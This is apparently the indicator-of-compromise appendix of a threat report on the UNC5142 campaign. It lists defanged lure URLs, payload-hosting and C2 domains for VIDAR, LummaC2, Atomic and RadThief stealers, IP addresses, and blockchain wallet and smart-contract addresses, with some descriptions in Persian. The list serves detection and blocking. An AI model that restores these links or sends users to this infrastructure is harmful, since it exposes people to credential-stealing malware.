| 2025-02-13 | hXXps://recaptcha-manual[.]shop/kangarooing.m4a |
| 2025-02-11 | hXXps://recaptcha-verify-4h[.]pro/xfiles/kangarooing[.]vsdx |
| 2025-02-11 | hXXps://recaptcha-verify-4h[.]pro/xfiles/verify.mp4 |
| 2025-02-10 | hXXps://human-verify[.]shop/xfiles/verify.mp4 |
| 2025-02-10 | hXXps://human-verify-4r[.]pro/xfiles/verify.mp4 |
| 2025-02-10 | hXXps://human-verify-4r[.]pro/xfiles/human[.]cpp |
| 2025-02-08 | hXXps://dns-verify-me[.]pro/xfiles/train.mp4 |
| 2025-02-06 | hXXp://83[.]217[.]208[.]130/xfiles/Ohio.mp4 |
| 2025-02-06 | hXXp://83[.]217[.]208[.]130/xfiles/VIDA.mp3 |
| 2025-02-06 | hXXp://83[.]217[.]208[.]130/xfiles/VIDA.mp4 |
| 2025-02-05 | hXXp://83[.]217[.]208[.]130/xfiles/trip.mp4 |
| 2025-02-05 | hXXp://83[.]217[.]208[.]130/xfiles/trip[.]psd |
| 2025-02-05 | hXXp://80[.]64[.]30[.]238/trip[.]psd |
| 2025-02-03 | hXXp://80[.]64[.]30[.]238/evix.xll |
| 2025-02-03 | hXXps://raw[.]githubusercontent[.]com/fuad686337/tyu/refs/heads/main/BEGIMOT.xll |
| 2025-02-02 | hXXps://disable-data-ai-agent[.]pages[.]dev |
| 2025-01-23 | hXXps://microsoft-dns-reload-5q[.]pages[.]dev |
| 2025-01-22 | hXXps://microsoft-dns-reload-6l[.]pages[.]dev |
| 2025-01-02 | hXXps://microsoft-dns-reload-1n[.]pages[.]dev |
| 2024-12-31 | hXXps://microsoft-dns-reload-5m[.]pages[.]dev |
| 2024-12-30 | hXXps://microsoft-dns-reload-7m[.]pages[.]dev |
| 2024-12-28 | hXXps://microsoft-dns-reload-9q[.]pages[.]dev |
| 2024-12-28 | hXXps://microsoft-dns-reload-3h[.]pages[.]dev |
| 2024-12-27 | hXXps://microsoft-dns-reload-4r[.]pages[.]dev |
| 2024-12-25 | hXXps://recaptcha-dns-b4[.]pages[.]dev |
| 2024-12-23 | hXXps://restart-dns-service-u2[.]pages[.]dev |
| 2024-12-21 | hXXps://recaptha-verify-8u[.]pages[.]dev |
| 2024-12-20 | hXXps://microsoft-dns-reload-6y[.]pages[.]dev |
| 2024-12-19 | hXXps://microsoft-dns-reload[.]pages[.]dev |
| 2024-12-17 | hXXps://dnserror-cdw[.]pages[.]dev/ |
| 2024-12-15 | hXXps://dns-me[.]pages[.]dev/ |
| Indicator | Description |
| saaadnesss[.]shop | UNC5142 C2 Check-in |
| lapkimeow[.]icu | UNC5142 C2 Check-in |
| ratatui[.]today | UNC5142 CLEARSHORT C2 Check-in |
| technavix[.]cloud | UNC5142 CLEARSHORT C2 Check-in |
| orange-service[.]xyz | UNC5142 CLEARSHORT C2 Check-in |
| hfdjmoedkjf[.]asia | UNC5142 CLEARSHORT C2 Check-in |
| polovoiinspektor[.]shop | UNC5142 Payload Hosting |
| googleapis-n-cdn3s-server[.]willingcapablepatronage[.]shop | UNC5142 Payload Hosting |
| rbk[.]scalingposturestrife[.]shop | UNC5142 Payload Hosting |
| ty[.]klipxytozyi[.]shop | UNC5142 Payload Hosting |
| discover-travel-agency[.]pro | UNC5142 Payload Hosting |
| browser-storage[.]com | UNC5142 Payload Hosting |
| kangla[.]klipxytozyi[.]shop | UNC5142 Payload Hosting |
| recaptcha-manual[.]shop | UNC5142 Payload Hosting |
| xxx[.]retweet[.]shop | UNC5142 Payload Hosting |
| w1[.]discoverconicalcrouton[.]shop | UNC5142 Payload Hosting |
| tlfiyat[.]shop | VIDAR C2 |
| stchkr[.]rest | VIDAR C2 |
| opbafindi[.]com | VIDAR C2 |
| cxheerfulriver[.]pics | LUMMAC.V2 C2 |
| importenptoc[.]com | LUMMAC.V2 C2 |
| voicesharped[.]com | LUMMAC.V2 C2 |
| inputrreparnt[.]com | LUMMAC.V2 C2 |
| torpdidebar[.]com | LUMMAC.V2 C2 |
| rebeldettern[.]com | LUMMAC.V2 C2 |
| actiothreaz[.]com | LUMMAC.V2 C2 |
| garulouscuto[.]com | LUMMAC.V2 C2 |
| breedertremnd[.]com | LUMMAC.V2 C2 |
| zenrichyourlife[.]tech | LUMMAC.V2 C2 |
| pasteflawwed[.]world | LUMMAC.V2 C2 |
| hoyoverse[.]blog | LUMMAC.V2 C2 |
| dsfljsdfjewf[.]info | LUMMAC.V2 C2 |
| stormlegue[.]com | LUMMAC.V2 C2 |
| blast-hubs[.]com | LUMMAC.V2 C2 |
| blastikcn[.]com | LUMMAC.V2 C2 |
| decreaserid[.]world | LUMMAC.V2 C2 |
| 80.64.30[.]238 | UNC5142 Payload Hosting |
| 95.217.240[.]67 | VIDAR C2 |
| 37.27.182[.]109 | VIDAR C2 |
| 95.216.180[.]186 | VIDAR C2 |
| 82.115.223[.]9 | ATOMIC C2 |
| 91.240.118[.]2 | RADTHIEF C2 |
Blockchain-Based IOCs
Wallet Addresses:
| Main Wallets | Description |
|
0x9fA7A2F4872D10bF59d436EA8433067811F67C04 0x9FEF571BAeAbdB8bF417a780c1b78aAa3295fF45 0x3b5a23f6207d87B423C6789D2625eA620423b32D(OKX 35) |
کیف پولهای تأمین مالی که برای لایه بندی وجوه پیش از ارسال به اپراتور استفاده میشن. |
| 0xF5B962Cca374de0b769617888932250363C5971B | آدرس اصلی تحت کنترل مهاجم که قراردادهای هوشمند رو مستقر کرده و تراکنشهای بروزرسانی رو به گروه قراردادهای هوشمند ارسال میکنه. |
| Secondary Wallets | Description |
| 0x3b5a23f6207d87B423C6789D2625eA620423b32D(OKX 35) | کیف پولهای تأمین مالی که برای لایه بندی وجوه پیش از ارسال به اپراتور استفاده میشن. |
| 0x9AAe9A373CECe9Ef8453fa2dEAF4bf7B8aFBfac9 | آدرس اصلی تحت کنترل مهاجم که قراردادهای هوشمند رو مستقر کرده و تراکنشهای بروزرسانی رو به گروه قراردادهای هوشمند ارسال میکنه. |
Smart Contract Groups:
| Contract Level | Main Addresses | Secondary Addresses |
| First Level | 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53 | 0x8f386Ac6050b21aF0e34864eAbf0308f89C6f13c |
| Second Level | 0x8FBA1667BEF5EdA433928b220886A830488549BD | 0xd210e8a9f22Bc5b4C9B3982ED1c2E702D66A8a5E |
| Third Level | 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA | 0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F |





